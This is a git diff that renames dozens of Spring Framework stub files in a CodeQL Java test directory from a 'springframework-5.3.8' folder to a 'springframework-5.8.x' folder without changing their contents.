diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/stereotype/Controller.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/stereotype/Controller.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/stereotype/Controller.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/stereotype/Controller.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/stereotype/Indexed.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/stereotype/Indexed.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/stereotype/Indexed.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/stereotype/Indexed.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/stereotype/Repository.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/stereotype/Repository.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/stereotype/Repository.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/stereotype/Repository.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/stereotype/Service.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/stereotype/Service.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/stereotype/Service.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/stereotype/Service.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/ui/ConcurrentModel.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/ui/ConcurrentModel.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/ui/ConcurrentModel.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/ui/ConcurrentModel.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/ui/Model.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/ui/Model.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/ui/Model.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/ui/Model.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/ui/ModelMap.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/ui/ModelMap.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/ui/ModelMap.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/ui/ModelMap.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/util/AntPathMatcher.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/util/AntPathMatcher.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/util/AntPathMatcher.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/util/AntPathMatcher.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/util/AutoPopulatingList.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/util/AutoPopulatingList.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/util/AutoPopulatingList.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/util/AutoPopulatingList.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/util/Base64Utils.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/util/Base64Utils.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/util/Base64Utils.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/util/Base64Utils.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/util/CollectionUtils.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/util/CollectionUtils.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/util/CollectionUtils.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/util/CollectionUtils.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/util/CompositeIterator.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/util/CompositeIterator.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/util/CompositeIterator.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/util/CompositeIterator.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/util/FastByteArrayOutputStream.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/util/FastByteArrayOutputStream.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/util/FastByteArrayOutputStream.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/util/FastByteArrayOutputStream.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/util/FileCopyUtils.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/util/FileCopyUtils.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/util/FileCopyUtils.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/util/FileCopyUtils.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/util/FileSystemUtils.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/util/FileSystemUtils.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/util/FileSystemUtils.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/util/FileSystemUtils.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/util/LinkedMultiValueMap.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/util/LinkedMultiValueMap.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/util/LinkedMultiValueMap.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/util/LinkedMultiValueMap.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/util/MimeType.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/util/MimeType.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/util/MimeType.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/util/MimeType.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/util/MultiValueMap.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/util/MultiValueMap.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/util/MultiValueMap.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/util/MultiValueMap.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/util/MultiValueMapAdapter.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/util/MultiValueMapAdapter.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/util/MultiValueMapAdapter.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/util/MultiValueMapAdapter.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/util/ObjectUtils.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/util/ObjectUtils.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/util/ObjectUtils.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/util/ObjectUtils.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/util/PathMatcher.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/util/PathMatcher.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/util/PathMatcher.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/util/PathMatcher.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/util/PropertiesPersister.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/util/PropertiesPersister.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/util/PropertiesPersister.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/util/PropertiesPersister.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/util/PropertyPlaceholderHelper.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/util/PropertyPlaceholderHelper.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/util/PropertyPlaceholderHelper.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/util/PropertyPlaceholderHelper.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/util/ResourceUtils.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/util/ResourceUtils.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/util/ResourceUtils.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/util/ResourceUtils.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/util/RouteMatcher.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/util/RouteMatcher.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/util/RouteMatcher.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/util/RouteMatcher.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/util/SerializationUtils.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/util/SerializationUtils.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/util/SerializationUtils.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/util/SerializationUtils.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/util/StreamUtils.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/util/StreamUtils.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/util/StreamUtils.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/util/StreamUtils.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/util/StringUtils.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/util/StringUtils.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/util/StringUtils.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/util/StringUtils.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/util/StringValueResolver.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/util/StringValueResolver.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/util/StringValueResolver.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/util/StringValueResolver.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/util/SystemPropertyUtils.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/util/SystemPropertyUtils.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/util/SystemPropertyUtils.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/util/SystemPropertyUtils.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/validation/Errors.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/validation/Errors.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/validation/Errors.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/validation/Errors.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/validation/FieldError.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/validation/FieldError.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/validation/FieldError.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/validation/FieldError.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/validation/ObjectError.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/validation/ObjectError.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/validation/ObjectError.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/validation/ObjectError.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/CookieValue.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/CookieValue.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/CookieValue.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/CookieValue.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/GetMapping.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/GetMapping.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/GetMapping.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/GetMapping.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/Mapping.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/Mapping.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/Mapping.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/Mapping.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/MatrixVariable.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/MatrixVariable.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/MatrixVariable.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/MatrixVariable.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/ModelAttribute.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/ModelAttribute.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/ModelAttribute.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/ModelAttribute.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/PathVariable.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/PathVariable.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/PathVariable.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/PathVariable.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/PostMapping.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/PostMapping.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/PostMapping.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/PostMapping.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/RequestAttribute.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/RequestAttribute.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/RequestAttribute.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/RequestAttribute.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/RequestBody.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/RequestBody.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/RequestBody.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/RequestBody.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/RequestHeader.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/RequestHeader.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/RequestHeader.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/RequestHeader.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/RequestMapping.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/RequestMapping.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/RequestMapping.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/RequestMapping.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/RequestMethod.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/RequestMethod.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/RequestMethod.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/RequestMethod.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/RequestParam.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/RequestParam.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/RequestParam.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/RequestParam.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/RequestPart.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/RequestPart.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/RequestPart.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/RequestPart.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/ResponseBody.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/ResponseBody.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/ResponseBody.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/ResponseBody.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/RestController.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/RestController.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/RestController.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/RestController.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/SessionAttribute.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/SessionAttribute.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/annotation/SessionAttribute.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/annotation/SessionAttribute.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/support/SessionStatus.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/support/SessionStatus.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/bind/support/SessionStatus.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/bind/support/SessionStatus.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/client/RequestCallback.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/client/RequestCallback.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/client/RequestCallback.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/client/RequestCallback.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/client/ResponseExtractor.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/client/ResponseExtractor.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/client/ResponseExtractor.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/client/ResponseExtractor.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/client/RestClientException.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/client/RestClientException.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/client/RestClientException.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/client/RestClientException.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/client/RestTemplate.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/client/RestTemplate.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/client/RestTemplate.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/client/RestTemplate.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/context/WebApplicationContext.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/context/WebApplicationContext.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/context/WebApplicationContext.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/context/WebApplicationContext.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/context/request/NativeWebRequest.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/context/request/NativeWebRequest.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/context/request/NativeWebRequest.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/context/request/NativeWebRequest.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/context/request/RequestAttributes.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/context/request/RequestAttributes.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/context/request/RequestAttributes.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/context/request/RequestAttributes.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/context/request/WebRequest.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/context/request/WebRequest.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/context/request/WebRequest.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/context/request/WebRequest.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/multipart/MultipartFile.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/multipart/MultipartFile.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/multipart/MultipartFile.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/multipart/MultipartFile.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/multipart/MultipartHttpServletRequest.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/multipart/MultipartHttpServletRequest.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/multipart/MultipartHttpServletRequest.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/multipart/MultipartHttpServletRequest.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/multipart/MultipartRequest.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/multipart/MultipartRequest.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/multipart/MultipartRequest.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/multipart/MultipartRequest.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/multipart/MultipartResolver.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/multipart/MultipartResolver.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/multipart/MultipartResolver.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/multipart/MultipartResolver.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/reactive/function/client/DefaultWebClientBuilder.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/reactive/function/client/DefaultWebClientBuilder.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/reactive/function/client/DefaultWebClientBuilder.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/reactive/function/client/DefaultWebClientBuilder.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/reactive/function/client/WebClient.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/reactive/function/client/WebClient.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/reactive/function/client/WebClient.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/reactive/function/client/WebClient.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/servlet/ModelAndView.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/servlet/ModelAndView.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/servlet/ModelAndView.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/servlet/ModelAndView.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/servlet/View.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/servlet/View.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/servlet/View.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/servlet/View.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/servlet/mvc/support/RedirectAttributes.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/servlet/mvc/support/RedirectAttributes.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/servlet/mvc/support/RedirectAttributes.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/servlet/mvc/support/RedirectAttributes.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/servlet/view/AbstractUrlBasedView.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/servlet/view/AbstractUrlBasedView.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/servlet/view/AbstractUrlBasedView.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/servlet/view/AbstractUrlBasedView.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/servlet/view/RedirectView.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/servlet/view/RedirectView.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/servlet/view/RedirectView.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/servlet/view/RedirectView.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/AbstractUriTemplateHandler.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/AbstractUriTemplateHandler.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/AbstractUriTemplateHandler.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/AbstractUriTemplateHandler.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/ContentCachingRequestWrapper.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/ContentCachingRequestWrapper.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/ContentCachingRequestWrapper.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/ContentCachingRequestWrapper.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/ContentCachingResponseWrapper.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/ContentCachingResponseWrapper.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/ContentCachingResponseWrapper.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/ContentCachingResponseWrapper.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/CookieGenerator.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/CookieGenerator.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/CookieGenerator.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/CookieGenerator.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/DefaultUriBuilderFactory.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/DefaultUriBuilderFactory.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/DefaultUriBuilderFactory.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/DefaultUriBuilderFactory.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/HtmlUtils.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/HtmlUtils.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/HtmlUtils.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/HtmlUtils.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/ServletContextPropertyUtils.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/ServletContextPropertyUtils.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/ServletContextPropertyUtils.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/ServletContextPropertyUtils.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/ServletRequestPathUtils.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/ServletRequestPathUtils.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/ServletRequestPathUtils.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/ServletRequestPathUtils.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/UriBuilder.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/UriBuilder.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/web/util/UriBuilder.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/web/util/UriBuilder.java
